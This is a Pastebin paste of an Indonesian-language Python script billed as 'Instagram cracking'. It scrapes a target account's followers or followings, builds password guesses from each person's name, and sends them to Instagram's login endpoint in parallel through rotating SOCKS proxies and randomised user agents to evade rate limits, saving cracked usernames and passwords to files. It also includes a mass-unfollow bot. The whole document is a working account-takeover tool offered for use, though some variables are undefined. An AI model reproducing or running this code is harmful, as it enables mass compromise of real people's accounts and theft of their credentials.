Advertisement
OBF-XIn

116.206.8.55-/sdcard/IGKU/upv2.py

Jan 30th, 2023
165
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 29.06 KB | None | 0 0
  1. # coding:utf-8
  2. #/usr/bin/python
  3. try:
  4.     import json
  5.     import uuid
  6.     import hmac
  7.     import random
  8.     import hashlib
  9.     import urllib
  10.     import stdiomask
  11.     import urllib.request
  12.     import calendar
  13. except ImportError as e:
  14.     exit(f'\n [\033[1;35m>\033[0m] module {e} belum terinstall')
  15. import requests,bs4,json,os,sys,random,datetime,time,re
  16. try:
  17.     import rich
  18. except ImportError:
  19.     os.system('pip install rich')
  20.     time.sleep(1)
  21.     try:
  22.         import rich
  23.     except ImportError:
  24.         exit('Tidak Dapat Menginstall Module rich, Coba Install Manual (pip install rich)')
  25. from rich.table import Table as me
  26. from rich.console import Console as sol
  27. from bs4 import BeautifulSoup as sop
  28. from concurrent.futures import ThreadPoolExecutor as tred
  29. from rich.console import Group as gp
  30. from rich.panel import Panel as nel
  31. from rich import print as cetak
  32. from rich.markdown import Markdown as mark
  33. from rich.columns import Columns as col
  34. from time import sleep
  35. from concurrent.futures import ThreadPoolExecutor
  36. from datetime import datetime
  37. from bs4 import BeautifulSoup as parser
  38. import time
  39. day=datetime.now().strftime("%d-%b-%Y")
  40. nyMnD = 5
  41. nyMxD = 10
  42. current_GMT = time.gmtime(time.time())
  43. insta_log='https://www.instagram.com/accounts/login/?force_classic_login=&'
  44. url='https://www.instagram.com'
  45. menudump=[]
  46. try:
  47.     os.mkdir('result')
  48. except:
  49.     pass
  50.    
  51. try:
  52.     prox= requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  53.     open('prox.txt','w').write(prox)
  54. except Exception as e:
  55.     print('GAGAL')
  56. prox=open('prox1.txt','r').read().splitlines()
  57. try:
  58.     os.system('curl https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks5.txt -o socks5.txt')
  59. except:
  60.     pass
  61. sock=open('socks5.txt','r').read().splitlines()
  62. CY='\033[96;1m'
  63. H='\033[1;32m' #HIJAU
  64. M='\033[1;31m' #MERAH
  65. K='\033[1;33m' #KUNING
  66. U='\033[1;35m' #UNGU
  67. O='\033[38;2;255;127;0;1m' #ORANGE
  68. C='\033[0m' #CLEAR
  69. N = '\x1b[0m' # WARNA MATI
  70. USN="Mozilla/5.0 (Linux; Android 10; SH-03K Build/S6220; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/96.0.4664.45 Mobile Safari/537.36 Instagram 214.1.0.29.120 Android (29/10; 640dpi; 1440x2688; SHARP/DOCOMO; SH-03K; SH-03K; qcom; ja_JP; 333717277)"
  71. # USN="Mozilla/5.0 (Linux; Android 11; ASUS_I006D Build/RKQ1.201022.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/96.0.4664.104 Mobile Safari/537.36 Sleipnir/3.5.28"
  72. ugen=open('UAG.txt','r').read().splitlines()
  73. proxq=open('prox.txt','r').read().splitlines()
  74. internal,external,success,checkpoint,loop,following,lisensikuni,lisensiku=[],[],[],[],0,[],[],['sukses']
  75. s=requests.Session()
  76. # CLEAR
  77. def clear():
  78.     os.system('clear')
  79.  
  80. # BANNER
  81. def banner():
  82.     clear()
  83.     wel = '# WELCOME TO INSTAGRAM CRACKING'
  84.     wel2 = mark(wel, style='white')
  85.     sol().print(wel2)
  86.  
  87. try:
  88.     # python 2
  89.     urllib_quote_plus = urllib.quote
  90. except:
  91.     # python 3
  92.     urllib_quote_plus = urllib.parse.quote_plus
  93.  
  94.  
  95.  
  96. def cekAPI(cookie):
  97.     user=open('.username','r').read()
  98.     try:
  99.         c=s.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(user),cookies={'cookie':cookie},headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
  100.         i=c.json()["data"]["user"]
  101.         nama=i["full_name"]
  102.         followers=i["edge_followed_by"]["count"]
  103.         following=i["edge_follow"]["count"]
  104.         external.append(f'{nama}|{followers}|{following}')
  105.     except  (ValueError,KeyError):
  106.         wel='# Instagram Checkpoint'
  107.         wel2 = mark(wel, style='red')
  108.         sol().print(wel2)
  109.         time.sleep(4)
  110.         os.remove('.kukis.log')
  111.         os.remove('.username')
  112.         exit()
  113.  
  114.     return external,user
  115.  
  116. def login_kamu():
  117.     if "sukses" in lisensiku:
  118.         try:
  119.             kuki=open('.kukis.log','r').read()
  120.         except FileNotFoundError:
  121.             banner()
  122.             wel = '# ••• MENU LOGIN •••'
  123.             wel2 = mark(wel, style='on red')
  124.             sol().print(wel2)
  125.             io = '[1] Login Using Cookie\n[2] Login Using Username & Password\n[3] Tutorial Mendapetkan Cookie Instagram'
  126.             oi = nel(io, style='blue')
  127.             cetak(nel(oi, title='••• PILIH METODE LOGIN •••'))
  128.             loginpil=input(f"[•] LOGIN :{C} ")
  129.             if loginpil=='1':
  130.                 wel = '# Tidak Disarankan Mengunakan Cookie Private'
  131.                 wel2 = mark(wel, style='on red')
  132.                 sol().print(wel2)
  133.                 us=input(f'{C}[•] Username :{C}')
  134.                 cok=input(f'{C}[•] Cookie :{C}')
  135.                 kuki=open('.kukis.log','w').write(cok)
  136.                 user=open('.username','w').write(us)
  137.             elif loginpil == '2':
  138.                 login()
  139.         ex,user=cekAPI(kuki)
  140.         cookie={'cookie':kuki}
  141.         instagram(ex,user,cookie).menu()
  142.     else:
  143.         login()
  144. class instagram:
  145.     def __init__(self,external,username,cookie):
  146.         self.ext=external
  147.         self.username=username
  148.         self.cookie=cookie
  149.         self.s=requests.Session()
  150.     def logo(self):
  151.         for i in external:
  152.             try:
  153.                 nama=i.split('|')[0]
  154.                 followers=i.split('|')[1]
  155.                 following=i.split('|')[2]
  156.             except:
  157.                 pass
  158.             os.system('clear')
  159.             io='[•] CRACK DARI PENGIKUT\n[•] CRACK DARI MENGIKUTI\n[•] KEMBALI'
  160.             oi = nel(io, style='purple')
  161.             cetak(nel(oi, title='[white]•[blue]•[red]• SIMPLE MENU [red]•[blue]•[white]•'))
  162.  
  163.  
  164.     def BUG(self):
  165.         bug=f'[•] Bantu saya mengembangkan script ini. apapun bugnya tolong laporkan kepada saya, semakin dikit bugnya semakin baik scriptnya.\n[•] Anda bisa melaporkan langsung ke wa admin +62 8966-908-4331\n[•]  LUXINE'
  166.         bug1 = nel(bug, style='purple')
  167.         cetak(nel(bug1, title='REPORT BUG'))
  168.         exit()
  169.  
  170.     def ChangeLog(self):
  171.         io='[1] Fix bug login instagram\n[2] Ganti tampilan scripts\n[3] Fix bug lisensi invalid'
  172.         oi = nel(io, style='cyan')
  173.         cetak(nel(oi, title='Fitur yang di update'))
  174.  
  175.         io='[1] Bot unfollow instagram\n[2] Bot spam komen'
  176.         oi = nel(io, style='cyan')
  177.         cetak(nel(oi, title='Fitur tambahan'))
  178.  
  179.         io='[1] Untuk fitur brute force masih dalam perbaikan\n[2] Untuk fitur Bot unfollow masih dalam perbaikan\n[3] Untuk fitur bot komen masih dalam perbaikan'
  180.         oi = nel(io, style='cyan')
  181.         cetak(nel(oi, title='Fix Bug'))
  182.         exit()
  183.  
  184.     def Exit(self):
  185.         kel='# Ingin keluar berserta cookir?'
  186.         kel1=mark(kel,style='red')
  187.         sol().print(kel1)
  188.         x=input(f'\n{CY}[•] Answer [y/t] : {C}')
  189.         if x in ('y','Y'):
  190.             os.remove('.kukis.log')
  191.             os.remove('.username')
  192.             os.system('python upv3')
  193.         elif x in ('t','T'):
  194.             self.Exit()
  195.         else:
  196.             self.Exit()
  197.  
  198.     def sixAPI(self,six_id):
  199.         url = "https://www.instagram.com/web/search/topsearch/?context=blended&query="+six_id+"&rank_token=0.3953592318270893&count=1"
  200.         x = requests.get(url)
  201.         x_jason = x.json()
  202.         uid = str( x_jason['users'][0].get("user").get("pk") )
  203.         return uid
  204.  
  205.     def unfollowAPI(self,user_id,username_id,cookie):
  206.         uuid=generateUUID(True)
  207.         xx=self.s.get("https://www.instagram.com/",headers={"user-agent":User_Agent()}).content
  208.         crf_token = re.findall('{"config":{"csrf_token":"(.*)","viewer"',str(xx))[0]
  209.         s.headers.update({'Connection': 'close',
  210.                        'Accept': '*/*',
  211.                        'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
  212.                        'Cookie2': '$Version=1',
  213.                        'Accept-Language': 'en-US',
  214.                        'User-Agent': User_Agent()})
  215.  
  216.         data = json.dumps({'_uuid': uuid,
  217.                            '_uid': username_id,
  218.                            'user_id': user_id,
  219.                            '_csrftoken': crf_token})
  220.  
  221.         self.payload = 'signed_body={}.{}&ig_sig_key_version=4'.format(
  222.             self.generateUUID(False),
  223.             urllib.request.quote(data))
  224.         return s.post('https://i.instagram.com/api/v1/friendships/destroy/%s/'%(user_id),self.payload,cookies=cookie).text
  225.  
  226.  
  227.     def searchAPI(self,cookie,nama):
  228.         try:
  229.             x=s.get('https://www.instagram.com/web/search/topsearch/?count=100000&context=blended&query=%s&rank_token=0.21663777590422106&include_reel=true'%(nama),cookies=cookie,headers={"user-agent":USN})
  230.             x_jason=json.loads(x.text)
  231.             for i in x_jason['users']:
  232.                 user=i['user']
  233.                 username=user['username']
  234.                 fullname=user['full_name']
  235.                 internal.append(f'{username}|{fullname}')
  236.         except requests.exceptions.ConnectionError:
  237.             exit()
  238.         return internal
  239.  
  240.     def idAPI(self,cookie,id):
  241.         if 'sukses' in lisensiku:
  242.             try:
  243.                 m=s.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(id),cookies=cookie,headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
  244.                 m_jason=m.json()["data"]["user"]
  245.                 idx=m_jason["id"]
  246.             except requests.exceptions.ConnectionError:
  247.                 exit(f"\n{M}┣Tidak Ada Koneksi Internet")
  248.             except Exception as e:
  249.                 exit(f"\n{C}┣Cookie anda invalid atau target tidak publik{C}")
  250.             return idx
  251.         else:lisensi()
  252.  
  253.     def infoAPI(self,cookie,api,id):
  254.         if 'sukses' in  lisensiku:
  255.             try:
  256.                 idtar=f'# [•] MENGUMPULKAN USERNAME'
  257.                 idtar1=mark(idtar,style='on purple')
  258.                 sol().print(idtar1)
  259.                 x=s.get(api%(id),cookies=cookie,headers={"user-agent":USN})
  260.                 x_jason=json.loads(x.text)
  261.                 for i in x_jason['users']:
  262.                     username = i["username"]
  263.                     nama = i["full_name"]
  264.                     internal.append(f'{username}|{nama}')
  265.                     following.append(username)
  266.                 if 'pengikut' in menudump:
  267.                     maxid=x_jason['next_max_id']
  268.                     for z in range (9999):
  269.                         x=s.get('https://i.instagram.com/api/v1/friendships/'+id+'/followers/?count=100&max_id='+maxid,cookies=cookie,headers={"user-agent":USN})
  270.                         x_jason=json.loads(x.text)
  271.                         try:
  272.                             for i in x_jason['users']:
  273.                                 username = i["username"]
  274.                                 nama = i["full_name"]
  275.                                 internal.append(f'{username}|{nama}')
  276.                                 following.append(username)
  277.                                 sys.stdout.write(f"\r COLLECTION Id : [ {len(following)} ]"),sys.stdout.flush()
  278.                             try:
  279.                                  maxid=x_jason['next_max_id']
  280.                             except:
  281.                                 break
  282.                         except:
  283.                             if 'challenge' in x.text:
  284.                                 break
  285.                             else:
  286.                                 continue
  287.                 else:pass
  288.             except requests.exceptions.ConnectionError:
  289.                 exit(f'\n{M}┣Koneksi{C}')
  290.             except Exception as e:
  291.                 print(f'\n{C}Target Tidak Publik{C}')
  292.             return internal
  293.         else:lisensi()
  294.  
  295.     def passwordAPI(self,xnx):
  296.         luxdam='# GUNAKAN PROX AKAN LEBIH BAIK'
  297.         luxdam1=mark(luxdam,style='on purple')
  298.         sol().print(luxdam1)
  299.         pox='[1] Crack Mengunakan Proxy\n[2] Crack Tidak mengunakan proxy'
  300.         pox1 = nel(pox, style='purple')
  301.         cetak(nel(pox1))
  302.         proxsy = input(f'[?] Menu Prxoxy : ')
  303.         pilpass='# MENU PASSWORD '
  304.         pilpass1=mark(pilpass,style='on purple')
  305.         sol().print(pilpass1)
  306.         komb='[1] FirstName123 Firstname1234\n[2] FirtsName123 Firstname1234 Firstname12345 FullName\n[3] FirstName+123,FullName,Full Name\n[4] FullName + manual'
  307.         komb1 = nel(komb, style='purple')
  308.         cetak(nel(komb1))
  309.         c=input(f'{C}[•] Menu Password :{C} ')
  310.         pwt=input(f'{C}    [ ENTER ] ')
  311.         if pwt in ["sey","Ys"]:
  312.             print(f'{M} Contoh sayang,anjing,bangsat')
  313.             zx=input(f'{CY}[•] List password :{C} ')
  314.         else:zx="tidakboy"
  315.         if c=='1':
  316.             self.generateAPI(xnx,c,zx)
  317.         elif c=='2':
  318.             self.generateAPI(xnx,c,zx)
  319.         elif c=='3':
  320.             self.generateAPI(xnx,c,zx)
  321.         else:
  322.             self.passwordAPI(xnx)
  323.  
  324.     def generateAPI(self,user,o,zx):
  325.         ipku='# [!] GUNAKAN MODE PESAWAT SETIAP 500-1K USERNAME'
  326.         ipku1=mark(ipku,style='on red')
  327.         sol().print(ipku1)
  328.         with ThreadPoolExecutor(max_workers=20) as shinkai:
  329.             for i in user:
  330.                 try:
  331.                     username=i.split("|")[0]
  332.                     password=i.split("|")[1].lower()
  333.                     for w in password.split(" "):
  334.                         if len(w)<3:
  335.                             continue
  336.                         else:
  337.                             w=w.lower()
  338.                             if o=="1":
  339.                                 if len(w)==3 or len(w)==4 or len(w)==5:
  340.                                     sandi=[w]
  341.                                 else:
  342.                                     sandi=[w]
  343.                             elif o=="2":
  344.                                 if len(w)==3 or len(w)==4 or len(w)==5:
  345.                                     sandi=[w+'123',w,w+'1234',w+'12345']
  346.                                 else:
  347.                                     sandi=[w+'123',w,w+'1234',w+'12345']
  348.                             elif o=="3":
  349.                                 if len(w)==3 or len(w)==4 or len(w)==5:
  350.                                     sandi=[w+'123',w+'12345',w,password.lower()]
  351.                                 else:
  352.                                     sandi=[w+'123',w+'12345',w,password.lower()]
  353.                             elif o=="7":
  354.                                 if len(w)==3 or len(w)==4 or len(w)==5:
  355.                                     sandi=[w+'123',w+'1234',w+'12345',w]
  356.                                 else:
  357.                                     sandi=[w+'123',w+'1234',w+'12345']
  358.                             elif o=="4":
  359.                                 if len(zx) > 3:
  360.                                     sandi = zx.replace(" ", "").split(",")
  361.                                 else:
  362.                                     break
  363.                             if zx == 'tidakboy':pass
  364.                             else:
  365.                                 for xds in zx.split(","):
  366.                                     sandi.append(xds)
  367.                             shinkai.submit(self.crackAPI,username,sandi)
  368.                 except:
  369.                     pass
  370.         print('\n')
  371.         oi='# CRACK COMPLETE'
  372.         io=mark(oi,style='red')
  373.         sol().print(io)
  374.         exit()
  375.  
  376.     def APIinfo(self,user):
  377.         try:
  378.             x=s.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(user),headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
  379.             x_jason=x.json()["data"]["user"]
  380.             nama=x_jason["full_name"]
  381.             pengikut=x_jason["edge_followed_by"]["count"]
  382.             mengikut=x_jason["edge_follow"]["count"]
  383.             postingan=x_jason["edge_owner_to_timeline_media"]["count"]
  384.         except:
  385.             pass
  386.         return nama,pengikut,mengikut,postingan
  387.  
  388.     def crackAPI(self,user,pas):
  389.         global loop,success,checkpoint
  390.         s = requests.Session()
  391.         sys.stdout.write(f"\r{C} [{K}{loop}/{len(internal)}{C}] {H}[ SUCCESS : {len(success)}]{C}  {K}[ CHECKPOINT : {len(checkpoint)}]{C} "),sys.stdout.flush()
  392.         try:
  393.             for pw in pas:
  394.                 ts = calendar.timegm(current_GMT)
  395.                 tc=random.randint(1000000000, 99999999999)
  396.                 nip=random.choice(prox)
  397.                 aa='Mozilla/5.0 (Linux; arm_64; Android'
  398.                 b=random.choice(['4','5','6','7','8','9','10','11','12'])
  399.                 c='SM-'
  400.                 d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  401.                 e=random.randrange(1, 999)
  402.                 f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  403.                 g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
  404.                 h=random.randrange(73,100)
  405.                 i='0'
  406.                 j=random.randrange(4200,4900)
  407.                 k=random.randrange(40,150)
  408.                 l='YaBrowser/22.9.4.79.00 SA/3 Mobile Safari/537.36'
  409.                 uaku=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
  410.                 token=s.get('https://www.instagram.com/api/v1/web/accounts/login/ajax/')
  411.                 headers = {
  412.                     'Host': 'https://www.instagram.com',
  413.                     'accept': '*/*',
  414.                     'accept-encoding': 'gzip, deflate, br',
  415.                     'accept-language': 'en-US,en;q=0.5',
  416.                     'content-lenght': '309',
  417.                     'content-type': 'application/x-www-form-urlencoded',
  418.                     'origin': 'https://www.instagram.com',
  419.                     'connection': 'keep-alive',
  420.                     'referer': 'https://www.instagram.com/accounts/login/',
  421.                     'sec-fetch-dest': 'empty',
  422.                     'sec-fetch-mode': 'cors',
  423.                     'sec-fetch-site': 'same-origin',
  424.                     'user-agent': uaku,
  425.                     'x-asbd-id': '198387',
  426.                     'x-csrftoken': token.cookies['csrftoken'],
  427.                     'x-ig-app-id': '1217981644879628',
  428.                     'x-ig-www-claim': '0',
  429.                     'x-instagram-ajax': '1006879689',
  430.                     'x-requested-with': 'XMLHttpRequest',
  431.                 }
  432. #                   "enc_password": "#PWD_INSTAGRAM_BROWSER:0:{}:{}".format(random.randint(1000000000, 99999999999),pw),
  433.  
  434.  
  435.                 param={
  436.                     "enc_password": f"#PWD_INSTAGRAM_BROWSER:0:{ts}:{pw}",
  437.                     "username": user,
  438.                     "optIntoOneTap": 'false',
  439.                     "queryParams": "{}",
  440.                     "stopDeletionNonce": "",
  441.                     "trustedDeviceRecords": "{}"}
  442.                 x=s.post("https://www.instagram.com/api/v1/web/accounts/login/ajax/", headers=headers, data=param, proxies={'http': 'socks4://'+nip}, allow_redirects=True)
  443.                 x_jason=json.loads(x.text)
  444.                 if "userId" in str(x_jason):
  445.                     nama,pengikut,mengikut,postingan=self.APIinfo(user)
  446.                     io=f'Nama : {nama}\nUser : {user}\nPass : {pw}\npengikut : {pengikut}\nMengikuti : {mengikuti}\nPostingan : {postingan}'
  447.                     oi = nel(io, style='green')
  448.                     print('\n')
  449.                     cetak(nel(oi, title=' SUCCESS '))
  450.                     open(f"result/success-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  451.                     success.append(user)
  452.                     break
  453.                 elif 'two_factor_required' in str(x_jason):
  454.                     nama,pengikut,mengikut,postingan=self.APIinfo(user)
  455.                     io=f'Name : {nama}\nUser : {user}\nPass : {pw}\nPengikut : {pengikut}\nMengikuti : {mengikuti}\nPostingan : {postingan}'
  456.                     oi = nel(io, style='green')
  457.                     print('\n')
  458.                     cetak(nel(oi, title=' SUCCESS '))
  459.                     open(f"result/success-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  460.                     success.append(user)
  461.                     break
  462.                 elif 'checkpoint_url' in str(x_jason):
  463.                     nama,pengikut,mengikut,postingan=self.APIinfo(user)
  464.                     io=f'Name : {nama}\nUser : {user}\nPass : {pw}\nPengikut : {pengikut}'
  465.                     print('\n')
  466.                     oi=nel(io,style='yellow')
  467.                     cetak(nel(oi, title=' CHECKPOINT '))
  468.                     open(f"result/checkpoint-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  469.                     checkpoint.append(user)
  470.                     break
  471.  
  472.                 elif 'Please wait a few minutes' in str(x.text):
  473.                     sys.stdout.write(f"\r┣[{U}!{C}] {U}IP KENA SPAM TUNGGU BEBERAPA MENIT{C}");sys.stdout.flush();sleep(10)
  474.                     #self.crackAPI(user,pas)
  475.                 elif 'ip_block' in str(x.text):
  476.                     sys.stdout.write(f"\r┣[{U}!{C}] {U}IP DI BLOKIR ON OFF MODE PESAWAT{C}");sys.stdout.flush();sleep(10)
  477.                     self.crackAPI(user,pas)
  478.                 elif 'spam' in str(x.text):
  479.                     sys.stdout.write(f"\r┣[{U}!{C}] {U}TERDETEKSI SPAM ON OFF MODE PESAWAT{C}");sys.stdout.flush();sleep(10)
  480.                     #self.crackAPI(user,pas)
  481.  
  482.                 else:
  483.                     continue
  484.  
  485.             loop+=1
  486.         except:
  487.             self.crackAPI(user,pas)
  488.  
  489.     def checkAPI(self,user,pw):
  490.         try:
  491.             token=s.get("https://www.instagram.com/",headers={"user-agent":User_Agent()}).content
  492.             crf_token=re.findall(r"\"csrf_token\"\:\"(.*?)\"", str(token))[0]
  493.             s.headers.update({
  494.                 'authority': 'www.instagram.com',
  495.                 'x-ig-www-claim': 'hmac.AR02SLJcxjyCDDqlFL3FP1-1-NvJP5G0V3dVgiT0y_FZm-lV',
  496.                 'x-instagram-ajax': '1005710756',
  497.                 'content-type': 'application/x-www-form-urlencoded',
  498.                'accept': '*/*',
  499.                 'user-agent': uap,
  500.                 'x-requested-with': 'XMLHttpRequest',
  501.                 'x-csrftoken': crf_token,
  502.                 'x-ig-app-id': '936619743392459',
  503.                 'origin': 'https://www.instagram.com',
  504.                 'sec-fetch-site': 'same-origin',
  505.                 'sec-fetch-mode': 'cors',
  506.                 'sec-fetch-dest': 'empty',
  507.                 'referer': 'https://www.instagram.com/',
  508.                 'accept-language': 'en-US,en;q=0.9'
  509.             })
  510.  
  511.             param={
  512.                 "username": user,
  513.                 "enc_password": "#PWD_INSTAGRAM_BROWSER:0:{}:{}".format(random.randint(1000000000, 99999999999),pw),
  514.                 "optIntoOneTap": False,
  515.                 "queryParams": {},
  516.                 "stopDeletionNonce": "",
  517.                 "trustedDeviceRecords": {}
  518.             }
  519.             x=s.post("https://www.instagram.com/accounts/login/ajax/",data=param);sleep(1)
  520.             x_jason=json.loads(x.text)
  521.             if "userId" in x.text:
  522.                 name, followers,following,posts=self.APIinfo(user)
  523.                 io=f'Name     : {name}\nUsername : {user}\nPassword : {pw}\nFollowers : {followers}\nFollowing: {following}\nPosts: {posts}'
  524.                 oi = nel(io, style='green')
  525.                 print('\n')
  526.                 cetak(nel(oi, title=' LIVE'))
  527.  
  528.             elif 'checkpoint_url' in x.text:
  529.                 name, followers,following,posts=self.APIinfo(user)
  530.                 io=f'Name     : {name}\nUsername : {user}\nPassword : {pw}\nFollowers : {followers}\nFollowing: {following}\nPosts: {posts}'
  531.                 oi = nel(io, style='yellow')
  532.                 print('\n')
  533.                 cetak(nel(oi, title=' CHECKPOINT'))
  534.  
  535.             elif 'Please wait a few minutes' in str(x.text):
  536.                 sys.stdout.write(f"\r {U}!{C}] {U}Please wait a few minutes second{C}");sys.stdout.flush();sleep(10)
  537.                 self.checkAPI(user,pw)
  538.         except:
  539.             self.checkAPI(user,pw)
  540.  
  541.     def menu(self):
  542.         self.logo()
  543.         c=input(f'[?] {C}Simple Menu :{C}  ')
  544.         if c=='':
  545.             self.menu()
  546.         elif c in ('dd1','01d'):
  547.             mas='# Masukan jumlah target'
  548.             mas1=mark(mas,style='green')
  549.             sol().print(mas1)
  550.             m=int(input(f'\n{CY}[•] Jumlah : {C}'));print('')
  551.             mas='# Masukan nama ranfom untuk di searching'
  552.             mas1=mark(mas,style='green')
  553.             sol().print(mas1)
  554.             for i in range(m):
  555.                 i+1
  556.                 nama=input(f'{CY}┣[>] Input name ({H}{len(internal)}{C}): ')
  557.                 name=self.searchAPI(self.cookie,nama)
  558.             self.passwordAPI(name)
  559.  
  560.         elif c in ('1','01'):
  561.             massal(self)
  562.             mas=input('Do you want multi crack? y/t> ')
  563.             if mas in ['y','Y']:
  564.                 masal(self)
  565.             elif mas in ['t','T']:
  566.                 massal(self)
  567.             elif mas in ['']:
  568.                 print('CONTENT IS EMPTY BRO!')
  569.  
  570.  
  571.         elif c in ('2','02'):
  572.             meng(self)
  573.             mas=input('Do you want multi crack? y/t> ')
  574.             if mas in ['y','Y']:
  575.                 mengi(self)
  576.             elif mas in ['t','T']:
  577.                 meng(self)
  578.             elif mas in ['']:
  579.                 print('CONTENT IS EMPTY BRO!')
  580.  
  581.  
  582.         elif c in ('hr4','0da4'):
  583.             print('')
  584.             for i in os.listdir('result'):
  585.                 print(f' [{U}>{C}] {i}')
  586.             c=input(f'\n {C}┣>>> Enter filename: {C}')
  587.             g=open("result/%s"%(c)).read().splitlines()
  588.             print(f'\n{C}┣[+] Total Result MASTER_FU{H}{len(g)}{C}')
  589.             print(f'\n{C}┣[!] The process of checking account status. Please wait a moment{C}\n')
  590.             for s in g:
  591.                 usr=s.split("|")[0]
  592.                 pwd=s.split("|")[1]
  593.                 self.checkAPI(usr,pwd)
  594.             exit(f'\n\n{K}┣[#] check process is complete...{C}')
  595.  
  596.         elif c in ('ad5','0dd5'):
  597.             print('')
  598.             for i in os.listdir('result'):
  599.                 print(f' [{U}>{C}] {i}')
  600.             c=input(f'\n {U}┣>>> Enter Filename: {C}')
  601.             g=open("result/%s"%(c)).read().splitlines()
  602.             xx=c.split("-")
  603.             xc=xx[0]
  604.             print(f'\n{K}┣[>] Total result yang di temukan [{H}{len(g)}{C}]')
  605.             for s in g:
  606.                 usr=s.split("|")[0]
  607.                 pwd=s.split("|")[1]
  608.                 fol=s.split("|")[2]
  609.                 ful=s.split("|")[3]
  610.                 if xc=="checkpoint":
  611.                     print(f"""
  612. [{M}+{C}] {M} PBB 𝐂HECKPOINT{C}:
  613.  {M}|{C}
  614.  {M}├╴>{C} Username: {O}{usr}{C}
  615.  {M}├╴>{C} Password: {O}{pwd}{C}
  616.  {M}├╴>{C} Followers: {O}{fol}{C}
  617.  {M}├╴>{C} Following: {O}{ful}{C}
  618.                    """);sleep(0.05)
  619.                 else:
  620.                     print(f"""
  621.  {H}[>]{C}{H} PBB-XD :  LIVE {C}
  622.  {H}[>]{C}{H} Username : {H}{usr}{C}
  623.  {H}[>]{C}{H} Password : {H}{pwd}{C}
  624.  {H}[>]{C}{H} Followers : {H}{fol}{C}
  625.  {H}[>]{C}{H} Following : {H}{ful}{C}
  626.                    """);sleep(0.05)
  627.         elif c in ('6','06'):
  628.             global following
  629.             six=0
  630.             print(f'\n [{U}!{C}] Bot Unfollow-All Dijalankan\n')
  631.             x=open('.kukis.log','r').read()
  632.             x_id=re.findall('sessionid=(\d+)',x)[0]
  633.             back=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/following/?count=100000',x_id)
  634.             for i in following:
  635.                 six+=1
  636.                 sleep(float( random.uniform(nyMnD*10,nyMxD*10) / 10 ))
  637.                 six_id=self.sixAPI(i)
  638.                 print(f' {str(six)}{U}}}{C} {i} {H}Unfollow-Berhasil{C}')
  639.                 self.unfollowAPI(six_id,'5452333948',self.cookie)
  640.                 #print(w)
  641.             input(f'\n\n [{U}#{C}] Unfollow-all selesai...');self.menu()
  642.  
  643.         elif c in ('r','R'):
  644.             self.BUG()
  645.         elif c in ('c','C'):
  646.             self.ChangeLog()
  647.         elif c in ('e','E'):
  648.             self.Exit()
  649.  
  650.         else:
  651.             self.menu()
  652. def mengi(self):
  653.             try:
  654.                 menudump.append('pengikut')
  655.                 mas='# Target must be public, not private'
  656.                 mas1=mark(mas,style='red')
  657.                 m=int(input(f'\n{C}[?{C}] Enter the target amount: {C}'))
  658.             except:m=1
  659.             for t in range(m):
  660.                 t +=1
  661.                 so=f'# TOTAL ID :{len(internal)}'
  662.                 pi=mark(so,style='on red')
  663.                 sol().print(pi)
  664.                 nama=input(f' [{C}] Enter Username : ')
  665.                 id=self.idAPI(self.cookie,nama)
  666.                 info=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/following/?count=100000',id)
  667.             self.passwordAPI(info)
  668.  
  669. def meng(self):
  670.     m=input(f'{C}[#] Masukan Username : {C}')
  671.  
  672.     id=self.idAPI(self.cookie,m)
  673.     info=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/following/?count=100000',id)
  674.     self.passwordAPI(info)
  675.  
  676. def masal(self):
  677.             try:
  678.                 menudump.append('pengikut')
  679.                 mas='# Target must be public, not private'
  680.                 mas1=mark(mas,style='red')
  681.                 sol().print(mas1)
  682.                 m=int(input(f'\n{C}[?{C}] Enter the Target amount: {C}'))
  683.             except:m=1
  684.             for t in range(m):
  685.                 t +=1
  686.                 so=f'# TOTAL ID :{len(internal)}'
  687.                 pi=mark(so,style='on red')
  688.                 sol().print(pi)
  689.                 nama=input(f' [{C}] Enter Username : ')
  690.                 id=self.idAPI(self.cookie,nama)
  691.                 info=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/followers/?count=100000',id)
  692.             self.passwordAPI(info)
  693.  
  694.  
  695.  
  696. def massal(self):
  697.             menudump.append('pengikut')
  698.             m=input(f'{C}[#] Username target : {C}')
  699.  
  700.             id=self.idAPI(self.cookie,m)
  701.             info=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/followers/?count=100000',id)
  702.             self.passwordAPI(info)
  703.  
  704. if __name__=='__main__':
  705.     try:
  706.         login_kamu()
  707.     except requests.exceptions.ConnectionError:
  708.         exit(f'\n [{M}!{C}] Terjadi Koneksi')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement